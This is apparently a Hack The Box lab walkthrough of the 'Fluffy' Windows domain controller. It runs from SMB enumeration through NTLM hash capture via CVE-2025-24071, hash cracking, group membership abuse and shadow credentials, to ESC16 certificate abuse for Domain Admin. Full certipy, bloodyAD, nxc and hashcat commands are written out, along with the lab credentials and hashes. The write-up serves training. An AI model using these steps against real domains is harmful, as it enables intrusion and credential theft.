Overview

The machine starts by SMB enumeration with provided credentials that reveals a writable IT share containing a PDF disclosing CVE-2025-24071, exploiting it by uploading a malicious library-ms zip to capture the NTLMv2 hash of p.agila and cracking it, p.agila has GenericAll over the Service Accounts group so we add ourselves to it and perform shadow credentials attack against winrm_svc and ca_svc to get their NT hashes, winrm_svc gives us a shell, then ca_svc's GenericWrite lets us manipulate its UPN to administrator and abuse ESC16 on the CA to request a certificate with administrator's UPN and authenticate as Domain Admin

Enumeration

start with our normal enumeration

it is clearly DC environment there is multiple things we need to put into consideration

  1. Hostname and FQDN are DC01 and DC01.fluffy.htb
  2. there is AD CS in place with the CA FLUFFY-DC01-CA
  3. there is a big clock-skey 7 hours so we need to make sure to fix it to avoid any issues with kerberos

so this to the hosts file

plaintext
10.129.6.198   DC01 DC01.fluffy.htb fluffy.htb

then generate a krb5 file

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy]
└──╼ [★]$ nxc smb 10.129.6.198 --generate-krb5-file krb5.conf
SMB 10.129.6.198 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.6.198 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.129.6.198 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf

and move that file to /etc/krb5.conf or just export it in your shell under that variable name

and lastly sync our time with the DC with sudo ntpdate DC01.fluffy.htb

User j.fleischman

this is assumed breached machine with creds j.fleischman / J0elTHEM4n1990! so lets see if this user can authenticate to the domain and list some shares if he can

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy]
└──╼ [★]$ nxc smb 10.129.6.198 -u j.fleischman -p 'J0elTHEM4n1990!'
SMB 10.129.6.198 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.6.198 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy]
└──╼ [★]$ nxc smb 10.129.6.198 -u j.fleischman -p 'J0elTHEM4n1990!' --shares
SMB 10.129.6.198 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.6.198 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.6.198 445 DC01 [*] Enumerated shares
SMB 10.129.6.198 445 DC01 Share Permissions Remark
SMB 10.129.6.198 445 DC01 ----- ----------- ------
SMB 10.129.6.198 445 DC01 ADMIN$ Remote Admin
SMB 10.129.6.198 445 DC01 C$ Default share
SMB 10.129.6.198 445 DC01 IPC$ READ Remote IPC
SMB 10.129.6.198 445 DC01 IT READ,WRITE
SMB 10.129.6.198 445 DC01 NETLOGON READ Logon server share
SMB 10.129.6.198 445 DC01 SYSVOL READ Logon server share

and this user can authenticate and there is non-standard share that we got READ, WRITE to lets see what is there

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy]
└──╼ [★]$ smbclient //10.129.6.198/IT -U j.fleischman%'J0elTHEM4n1990!'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jun  1 15:28:13 2026
  ..                                  D        0  Mon Jun  1 15:28:13 2026
  Everything-1.4.1.1026.x64           D        0  Fri Apr 18 08:08:44 2025
  Everything-1.4.1.1026.x64.zip       A  1827464  Fri Apr 18 08:04:05 2025
  KeePass-2.58                        D        0  Fri Apr 18 08:08:38 2025
  KeePass-2.58.zip                    A  3225346  Fri Apr 18 08:03:17 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 07:31:07 2025

                5842943 blocks of size 4096. 2153107 blocks available
smb: \> mget *
Get file Everything-1.4.1.1026.x64.zip? y
getting file \Everything-1.4.1.1026.x64.zip of size 1827464 as Everything-1.4.1.1026.x64.zip (450.4 KiloBytes/sec) (average 450.4 KiloBytes/sec)
Get file KeePass-2.58.zip? y

getting file \KeePass-2.58.zip of size 3225346 as KeePass-2.58.zip (318.5 KiloBytes/sec) (average 356.3 KiloBytes/sec)
Get file Upgrade_Notice.pdf?y
getting file \Upgrade_Notice.pdf of size 169963 as Upgrade_Notice.pdf (88.9 KiloBytes/sec) (average 324.5 KiloBytes/sec)

and we got 3 files 2 zip files and a pdf what is interesting is the KeePass zip file cause it is kinda like password safe and a file called Upgrade_notice so probably leaks internal stuff so lets take a look at it first before moving to the zip file Pasted image 20260601183253.png tells that the environment is vulnerable to all this attacks so lets search what is useful for our attack and there is two interesting ones # CVE-2025-24996: Windows 10 1507 Path Traversal Flaw and # CVE-2025-24071: Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure

CVE-2025-24071

so I've seen the idea of this CVE-2025-24071 before i guess in nanocorp machine from HTB where we get a malicious .library-ms file and because we got write access to that share so if we do this and someone explores to the share we'll get his NTLM hash so lets do this we'll use this exploit from exploit DB

lets create the malicious files and upload them while we are listening using sudo responder -I tun0 to get any hashes Pasted image 20260601184437.png and if we looked at responder we'll see that we got a hash for a user Pasted image 20260601184511.png

User P.Agila

lets try to crack that hash

shell
hashcat -a 0 p.agila /usr/share/wordlists/rockyou.txt --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

P.AGILA::FLUFFY:608574d28f7cf7fa:064b34197c2fa898935f2c25d82a0a07:010100000000000000ce5aaa8ef1dc01189754ea9d6b0f1b000000000200080050004b005300310001001e00570049004e002d0052005a0030003300320053005300380045004a00450004003400570049004e002d0052005a0030003300320053005300380045004a0045002e0050004b00530031002e004c004f00430041004c000300140050004b00530031002e004c004f00430041004c000500140050004b00530031002e004c004f00430041004c000700080000ce5aaa8ef1dc0106000400020000000800300030000000000000000100000000200000f23f07fed38e872ea19355721e3d41f5a5d9251cb7bfb7fb292af908c0c5f83d0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00380033000000000000000000:prometheusx-303

now lets run bloodhound and see what's going on

lets ingest this data now and look what this user can do Pasted image 20260601185111.png we have generic all over the Service Accounts group, which has generic write over multiple SVC account lets first add ourselves to the group then we'll see what other accounts we can control

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy]
└──╼ [★]$ bloodyAD --host 10.129.6.198 --domain fluffy.htb -u 'p.agila' -p 'prometheusx-303' add groupMember "Service Accounts" p.agila
[+] p.agila added to Service Accounts

lets look at this group now Pasted image 20260601185308.png

Shell as winrm_svc

we've got generic writes over 3 accounts meaning we can do 2 types of attacks

  1. targeted kerberoasting which worked but we couldn't crack the hashes
  2. shadow credentials attack where we write our key into trusted attribute on that user and we get a ticket for it and a hash for the user

there is a manual way to do it but for this one I'll use the auto mode from certipy so I'll get both hashes of those accounts (I am interested in WINRM_SVC and CA_SVC for now)

and now we got hashes for both account, i suspect this winrm_svc account can winrm to the target Pasted image 20260601190025.png and we got user

Privilege Escalation

now to get to root there is a CA that we need to look at, by looking at the user CA_SVC we'll see that he is part of this group Pasted image 20260601190155.png so lets run certipy on the target and try to find a vulnerable template

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy]
└──╼ [★]$ certipy find -target-ip 10.129.6.198 -u 'CA_SVC' -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260601160348_Certipy.txt'
[*] Wrote text output to '20260601160348_Certipy.txt'
[*] Saving JSON output to '20260601160348_Certipy.json'
[*] Wrote JSON output to '20260601160348_Certipy.json'

lets take a look at this vulnerable template

as you can see for this vulnerable template the Cert Publishers can enroll which we are part of so we can do this attack it doesn't mention which one so lets query all templates and look at them

shell
    "32": {
      "Template Name": "User",
      "Display Name": "User",
      "Certificate Authorities": [
        "fluffy-DC01-CA"
      < SNIP>
      ],
      "[*] Remarks": {
        "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.",
        "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1."
      }
    }
  }
}

now lets do the ESC16 for this to work there is multiple scenarios the one i guess will work here is the UPN manipulation cause we got write access over that CA_SVC account using p.agila remember ?

ESC16

Active Directory uses certificates for authentication. When a certificate is issued, it normally contains a Security Extension that embeds the requester's SID, a unique identifier tied to their AD account. When the DC receives that cert for authentication, it checks the SID to confirm identity

When ESC16 is present, the CA has this Security Extension disabled. Issued certificates contain no SID. The DC now falls back to mapping the certificate to an account purely by UPN, just a text attribute on an AD object.

UPN is just a property on an AD account, like an email address. If you have GenericWrite over an account, you can change that property to anything, including the name of a privileged account like Administrator. The CA doesn't validate whether the UPN you're requesting as actually belongs to you, it just stamps whatever UPN the account currently has onto the certificate.

What we have:

  • p.agila with GenericWrite over ca_svc
  • ca_svc as a Domain User with enrollment rights on the User template
  • A CA vulnerable to ESC16

first we'll update the ca_svc UPN to administrator using p.agila user

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy]
└──╼ [★]$ certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.232.88 -user ca_svc -upn administrator update
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy]
└──╼ [★]$ certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.232.88 -user ca_svc read
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'ca_svc':
    cn : certificate authority service
    distinguishedName : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
    name : certificate authority service
    objectSid : S-1-5-21-497550768-2797716248-2627064577-1103
    sAMAccountName : ca_svc
    servicePrincipalName : ADCS/ca.fluffy.htb
    userPrincipalName : administrator
    userAccountControl : 66048
    whenCreated : 2025-04-17T16:07:50+00:00
    whenChanged : 2026-06-01T23:19:27+00:00

and as you can see it worked lets now request a certificate as CA_SVC

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy/output]
└──╼ [★]$ certipy req -u 'CA_SVC' -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -target 'DC01.fluffy.htb' -dc-ip 10.129.232.88 -ca 'fluffy-DC01-CA' -template User -upn administrator
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 24
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

and we got the pfx now if we tried to authenticate using that pfx it'll fail cause there is two objects in the domain under the same UPN which will conflict so lets first reset the CA_SVC UPN

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/fluffy/output]
└──╼ [★]$ certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.232.88 -user ca_svc -upn ca_svc update
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName : ca_svc
[*] Successfully updated 'ca_svc'

now we can authenticate using the pfx file and you'll see we got the root flag Pasted image 20260601192825.png

so here is a recap of what we did p.agila used its GenericWrite permission to temporarily change ca_svc's UPN to administrator. At that moment, ca_svc's identity in AD claimed to be administrator. We then requested a certificate as ca_svc the CA issued it with UPN administrator and no SID to contradict it. UPN was immediately restored to avoid breaking anything. When we presented that certificate to the DC for authentication, it saw UPN administrator, had no SID to cross-check against, and handed us a TGT for Administrator.

Resources